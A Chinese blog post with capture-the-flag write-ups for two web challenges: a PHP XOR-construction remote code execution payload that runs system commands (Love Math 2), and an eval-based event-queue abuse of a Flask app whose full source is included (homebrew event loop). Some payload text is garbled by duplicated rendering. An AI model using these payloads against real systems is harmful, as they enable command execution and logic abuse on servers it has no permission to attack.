Buu-Web两个题解

[NESTCTF 2019]Love Math 2

知识点
  • 异或
  • rce
题解

1.输入的字符长度不能超过60

2.输入的字符不能有黑名单

3.使用的字符串要包含在白名单中

通过白名单给出的字符串,异或整数,来看有没有可能rce

使用Mustapha Mond师傅的fuzz脚本

<?php
$payload = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh',  'bindec', 'ceil', 'cos', 'cosh', 'decbin' , 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
for($k=1;$k<=sizeof($payload);$k++){
    for($i = 0;$i < 9; $i++){
        for($j = 0;$j <=9;$j++){
            $exp = $payload[$k] ^ $i.$j;
            echo($payload[$k]."^$i$j"."==>$exp");
            echo "<br />";
        }
    }
}

![请添加图片描述](https://i-blog.csdnimg.cn/direct/8226b62ec7ec47a6b03e776288bf4af4.png)

is_nan^64==>_G
-> $pi = is_nan^(6).(4)

tanh^15==>ET
-> $pi = (is_nan(6).(4)).(tanh(1).(5))

$pi = $$pi => $pi = $_GET

黑名单中过滤了[] -> 用{}绕过
p i = ( i s n a n ( 6 ) . ( 4 ) ) . ( t a n h ( 1 ) . ( 5 ) ) ; pi=(is_nan^(6).(4)).(tanh^(1).(5)); pi=(isnan(6).(4)).(tanh(1).(5));pi=$ p i ; pi; pi;pi{1}($pi{2})&1=system&2=ls


**Payload:**

url/?c= p i = ( i s n a n ( 6 ) . ( 4 ) ) . ( t a n h ( 1 ) . ( 5 ) ) ; pi=(is_nan^(6).(4)).(tanh^(1).(5)); pi=(isnan(6).(4)).(tanh(1).(5));pi=$ p i ; pi; pi;pi{1}($pi{2})&1=system&2=tac /f*
#修改2的值即可rce


#### 参考

https://blog.csdn.net/qq_46263951/article/details/119240395

## [DDCTF 2019]homebrew event loop

#### 知识点

- python代码审计
- flask Cookie解密

#### 题解

```python
from flask import Flask, session, request, Response
import urllib

app = Flask(__name__)
app.secret_key = '*********************'  # censored
url_prefix = '/d5afe1f66147e857'


def FLAG():
    return '*********************'  # censored


def trigger_event(event):
    session['log'].append(event) # .append是一个列表方法,用于在列表末尾添加一个新的元素。 -> log键对应的值为列表, 在最后添加一个元素event
    if len(session['log']) > 5:
        session['log'] = session['log'][-5:]
    if type(event) == type([]): # 检查event变量是不是一个列表
        request.event_queue += event
    else:
        request.event_queue.append(event)


def get_mid_str(haystack, prefix, postfix=None):
    haystack = haystack[haystack.find(prefix)+len(prefix):] # 切片: 找到prefix的下标,从prefix后面的第一个字符开始切片
    if postfix is not None:
        haystack = haystack[:haystack.find(postfix)] # 切片: 从开始切到prefix之前
    return haystack # 经过切片之后的


class RollBackException:
    pass


def execute_event_loop():
    valid_event_chars = set(
        'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789:;#')
    resp = None
    while len(request.event_queue) > 0:
        # `event` is something like "action:ACTION;ARGS0#ARGS1#ARGS2......"
        event = request.event_queue[0]
        request.event_queue = request.event_queue[1:] # 去掉第一个,取第二个到最后
        if not event.startswith(('action:', 'func:')): # event是 queue的第一个值,判断是不是以action或func开头
            continue
        for c in event: # 判断event中的字符是否全有效
            if c not in valid_event_chars: # 如果不是有效的,直接中断循环
                break
        else: # 如果是以action: 或者 func:开头的
            is_action = event[0] == 'a' # 判断是不是action: 如果是, is_action为1
            action = get_mid_str(event, ':', ';') # 可以根据上面的event注释来看 `event` is something like "action:ACTION;ARGS0#ARGS1#ARGS2......"
            args = get_mid_str(event, action+';').split('#')
            try:
                event_handler = eval(
                    action + ('_handler' if is_action else '_function'))
                ret_val = event_handler(args) # 下面有一些函数, 估计是对应的, 也就是说我们点什么, 会调用某个函数, 参数来自于我们传入的URL中
            except RollBackException:
                if resp is None:
                    resp = ''
                resp += 'ERROR! All transactions have been cancelled. <br />'
                resp += '<a href="./?action:view;index">Go back to index.html</a><br />'
                session['num_items'] = request.prev_session['num_items']
                session['points'] = request.prev_session['points']
                break
            except Exception, e:
                if resp is None:
                    resp = ''
                # resp += str(e) # only for debugging
                continue
            if ret_val is not None:
                if resp is None:
                    resp = ret_val
                else:
                    resp += ret_val
    if resp is None or resp == '':
        resp = ('404 NOT FOUND', 404)
    session.modified = True
    return resp


@app.route(url_prefix+'/')
def entry_point():
    querystring = urllib.unquote(request.query_string)# 将url参数进行url解码
    request.event_queue = [] # 赋值一个空数组
    if querystring == '' or (not querystring.startswith('action:')) or len(querystring) > 100:# 为空 或者 不以action:开头 或者 长度大于100
        querystring = 'action:index;False#False'
    if 'num_items' not in session: # 初始化
        session['num_items'] = 0
        session['points'] = 3
        session['log'] = []
    request.prev_session = dict(session)
    trigger_event(querystring) # 传入的参数是 url中参数,会将event添加到request.event_queue
    return execute_event_loop()

# handlers/functions below --------------------------------------


def view_handler(args):
    page = args[0]
    html = ''
    html += '[INFO] you have {} diamonds, {} points now.<br />'.format(
        session['num_items'], session['points'])
    if page == 'index':
        html += '<a href="./?action:index;True%23False">View source code</a><br />'
        html += '<a href="./?action:view;shop">Go to e-shop</a><br />'
        html += '<a href="./?action:view;reset">Reset</a><br />'
    elif page == 'shop':
        html += '<a href="./?action:buy;1">Buy a diamond (1 point)</a><br />'
    elif page == 'reset':
        del session['num_items']
        html += 'Session reset.<br />'
    html += '<a href="./?action:view;index">Go back to index.html</a><br />'
    return html


def index_handler(args):
    bool_show_source = str(args[0])
    bool_download_source = str(args[1])
    if bool_show_source == 'True':

        source = open('eventLoop.py', 'r')
        html = ''
        if bool_download_source != 'True':
            html += '<a href="./?action:index;True%23True">Download this .py file</a><br />'
            html += '<a href="./?action:view;index">Go back to index.html</a><br />'

        for line in source:
            if bool_download_source != 'True':
                html += line.replace('&', '&amp;').replace('\t', '&nbsp;'*4).replace(
                    ' ', '&nbsp;').replace('<', '&lt;').replace('>', '&gt;').replace('\n', '<br />')
            else:
                html += line
        source.close()

        if bool_download_source == 'True':
            headers = {}
            headers['Content-Type'] = 'text/plain'
            headers['Content-Disposition'] = 'attachment; filename=serve.py'
            return Response(html, headers=headers)
        else:
            return html
    else:
        trigger_event('action:view;index')


def buy_handler(args):
    num_items = int(args[0])
    if num_items <= 0:
        return 'invalid number({}) of diamonds to buy<br />'.format(args[0])
    session['num_items'] += num_items
    trigger_event(['func:consume_point;{}'.format(
        num_items), 'action:view;index'])


def consume_point_function(args):
    point_to_consume = int(args[0])
    if session['points'] < point_to_consume:
        raise RollBackException()
    session['points'] -= point_to_consume


def show_flag_function(args):
    flag = args[0]
    # return flag # GOTCHA! We noticed that here is a backdoor planted by a hacker which will print the flag, so we disabled it.
    return 'You naughty boy! ;) <br />'


def get_flag_handler(args):
    if session['num_items'] >= 5:
        # show_flag_function has been disabled, no worries
        trigger_event('func:show_flag;' + FLAG())
    trigger_event('action:view;index')


if __name__ == '__main__':
    app.run(debug=False, host='0.0.0.0')

我自己只过了一遍,中间加有自己的注释,

Payload是看的wp

?action:trigger_event%23;action:buy;2%23action:buy;3%23action:get_flag;%23
参考

igger_event(‘action:view;index’)

if name == ‘main’:
app.run(debug=False, host=‘0.0.0.0’)


我自己只过了一遍,中间加有自己的注释,

==Payload是看的wp==

?action:trigger_event%23;action:buy;2%23action:buy;3%23action:get_flag;%23


#### 参考

https://blog.csdn.net/wuyaowangchuan/article/details/110471985
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值